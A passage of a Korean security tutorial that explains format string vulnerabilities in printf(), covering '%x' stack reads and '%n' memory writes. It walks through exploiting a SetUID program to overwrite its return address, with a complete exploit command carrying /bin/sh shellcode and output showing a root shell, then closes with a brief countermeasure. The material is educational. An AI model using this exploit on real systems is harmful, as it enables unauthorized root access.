printf()에서는 첫 번째 인자에서 형식 문자열(format string)을 받은 후, 필요에 따라 그 다음 인자들을 스택에서 찾아서 가져오게 되는데, 예를 들어, printf("%d", a);와 같이 형식 문자열에 의하여 두 번째 인자값이 필요할 경우 스택에서 두 번째 인자에 해당하는 위치에서 a값을 가져오게 되는 것이다. 하지만 printf("%d");의 경우 실제로 스택에는 첫 번재 인자값만 들어 있지만, 형식 문자열에 의해 두 번째 인자가 필요하므로 printf()는 두 번째 인자에 해당하는 상대적 위치에 있는 값을 가져와서 처리하게 된다.

fsb3를 조금 더 실행해 봄으로써 확인해 볼 수 있다.

$ ./fsb3

input string : AAAA %8x %8x %8x

AAAA       70 40151e80 41414141

$

위에서 %8x는 16진수로 8자리를 맞춰 출력하는 형식 문자열이다.

결과를 보면 "AAAA"에 해당하는 “41414141”이 출력되었음을 확인 할 수 있다. 스택을 살펴보면,

와 같은 내용임을 추측해 볼 수 있다. 위 그림에서 dummy는 garbage와 동일하게 생각하여도 무관하다.

3.2.2. Format String : "%n"

printf()에는 "%n"이라는 특별한 형식 문자열이 존재 한다. 이 형식 문자열은 뒤에 받는 인자 값으로 주소 값을 받는데, 다른 형식 문자열들이 화면에 결과를 출력해 주는 것과는 달리 뒤에 인자 값으로 온 주소 값에 결과 값을 넣어준다. 특정 주소에 직접 값을 넣어 줄 수 있는 이 형식 문자열 덕분에 Format String attack이 가능하게 된 것이다. 예제를 보자.

-- fsb4.c --

main()

{

int n = 10;

printf("before change : %d\n", n);

printf("haha~\n%n", &n);

printf("after change : %d\n", n);

}

컴파일 후 실행해 보면,

$ ./fsb4

before change : 10

haha~

after change : 6

$

위와 같이 n값이 변경되었다는 것을 확인해 볼 수 있다. 그렇다면 "%n" 형식 문자열은 어떠한 역할을 할까? "%n" 형식 문자열은 바로 이전까지 출력하였던 문자열의 개수를 인자로 오는 주소 값으로 넘겨준다. 즉 위에서는 “haha~\n%n"과 같이 주었으므로 "%n"이 나오기 이전 까지 총 6글자를 출력하였고, 이 6이라는 값이 뒤에 오는 &n, 즉 n의 주소 값으로 넘겨  줌으로써 n값이 6으로 변경되었다. 만약 뒤에 오는 주소 값이 리턴 어드레스라면 리턴 어드레스 값을 마음대로 변경할 수 있는 것이다.

3.3. 포맷 스트링 취약점 공격하기

이제 앞서 배운 기본 개념들을 바탕으로 SetUID가 설정되어 있고 포맷 스트링 취약점이 있는 프로그램을 공격하여 root권한의 shell을 획득하여 보겠다. 다음은 취약점이 있는 소스이다.

-- vuln.c --

main()

{

char buff[128];

printf("Return Address : %p\n", buff+128+4);

printf("Buffer Address : %p\n", buff);

fgets(buff, 112, stdin);

printf(buff);

}

공격과정을 편하고 간단하게 하기 위해 main()의 Return Address 주소와 입력 버퍼의 주소를 화면에 출력해준다. 우선 우리가 원하는 주소의 값을 바꾸기 위해서는 입력 버퍼가 printf()의 인자로 작용해야 하므로 입력 버퍼가 있는 곳을 찾는다.

$ ./vuln

Return Address : 0xbffffa0c

Buffer Address : 0xbffff988

AAAA %8x %8x %8x

AAAA       70 40151e80 41414141

$

위의 결과로 입력 버퍼의 처음 4byte가 4번째 인자 값에 해당함을 알 수 있다. 따라서 입력 버퍼의 다음 4byte는 5번째 인자가 될 것이고 또 다음 4byte는 6번째 인자가 될 것이다.

이로써 공격 문자열은 다음과 같이 될 것이다.

다른 취약점들도 마찬가지겠지만, 포맷 스트링 공격은 특히 계산이 중요하다. 우선 우리가 “%n"형식 문자열을 통해 Return Address에 넣어야 할 값은 shellcode가 있는 (&buff)+(format string 까지의 문자열 길이 : 계산결과 총 40byte 즉, &buff+40이 shellcode 주소이다.)이며, %n으로 Return Address에 값을 넣을 때, 4byte에 해당하는 큰 값은 넣을 수가 없으므로 2바이트씩 나누어서 값을 넣는다. shellcode 주소는 0xbffff988 + 0x28(십진수 40)이 되므로 0xbffff9b0 이므로 Return Address에 2byte씩 넣어야 하는 값은 각각,

주소	0xbffffa0c	0xbffffa0e
값	0xf9b0	0xbfff

여기서 각각 출력해줘야 하는 문자의 개수는 0xf9b0=63920개, 0xbfff=49151개이다. 하지만 63920개를 출력하고 나서 49151개로 줄일 수 없으므로 0x1bfff로 자리수 하나를 올려서 계산한다. 0x1bfff=114687이므로 이미 출력되어 있는 63920개의 문자를 빼고, 50767개를 추가로 출력해주면 Return Address에 우리가 원하는 값이 완벽히 들어가게 된다.

공격해 보자. 아래 공격 문자열 중에서 ‘%’를 두개씩 사용한 이유는 pipe 왼쪽의 printf 문에서도 %를 형식 문자열로 인식 하기 때문이다.

$ (printf "\x41\x41\x41\x41\x0c\xfa\xff\xbf\x41\x41\x41\x41\x0e\xfa\xff\xbf%%8x%%8x%%63888c%%n%%50767c%%n\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";cat)|./vuln

Return Address : 0xbffffa0c

Buffer Address : 0xbffff988

...

A1육ꠖ1盃1픐h//shh/bin됥PS됣솻

?

id

uid=0(root) gid=505(user2) groups=505(user2)

exit

$

root 권한의 shell을 획득하였다. 많은 문자들을 출력해주기 때문에 화면이 순식간에 넘어간다.

3.4. Format String Bug 대비책

이 취약점은 단지 프로그래머가 format string을 인자로 포함하는 함수를 사용할 때, format string이 들어가야 할 인자에 변수를 직접 할당하지 않고, 상수 문자열을 직접 사용하기만 하면 간단히 해결되는 문제이다.